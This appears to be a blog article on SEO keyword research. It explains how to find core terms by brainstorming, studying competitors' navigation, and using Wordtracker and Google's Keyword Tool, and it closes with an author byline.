Before we get to the keyword research tools, the best place to start is doing some old-fashioned brainstorming and sight-seeing. Each of your pages should have a core topic. It might be "batteries" or "motorcycle batteries" or even "honda motorcycle batteries." But each of these phrases can be a core term unto itself, producing long lists of phrases to optimize.

Secondly, you can look at what your competitors are doing. Look at their navigation categories to determine what words they are using to drive traffic to their categories and sub-categories. This gives you key insights as to what your competitors consider their core terms.

Once you have these lists, then you can turn to keyword research tools such as Wordtracker or Google's Keyword Tool. These tools are great for finding core terms with similar meaning that you may not have thought of, such as our example of "clear" vs. "transparent" above.

In the Google tool above, if you perform a search for "clear cards" and then exclude the word "clear," you can scroll through to see if there are any other words that might mean the same thing. In my results, I see the word "transparent," but also "translucent." I now have a new core term that may produce more keywords!

In Wordtracker, you need to go to the "quick research" tab at the top, then to the "related search" tab when selecting which tool to use. Wordtracker gives more results, but nothing's more insightful than Google. Using both can often lead to unique terms you may not have considered before.

This is a very simplified case where a thesaurus might have done the trick. But more times than not, using keyword research tools for core term research is a real eye opener. For example, your "pet feeder" may also be known as a "pet food dispenser." Your "dog waterer" might also be searched as a "dog fountain." I could keep going but we don't have all day!

Each core term can be represented on a single page of your site surrounded by additional related phrases that also contain the same words. "Simple" core term research can produce a plethora of valuable information that can establish the framework not just for optimizing a site, but also for building your site's navigational elements to drive searchers to the best page possible.



Wiredwizrd

Morgan Todd Lewistown, PA

Experienced Information Technology Manager with a strong knowledge of technical guidance, IT best practices, security protocols, team leadership, and analyzing business requirements.
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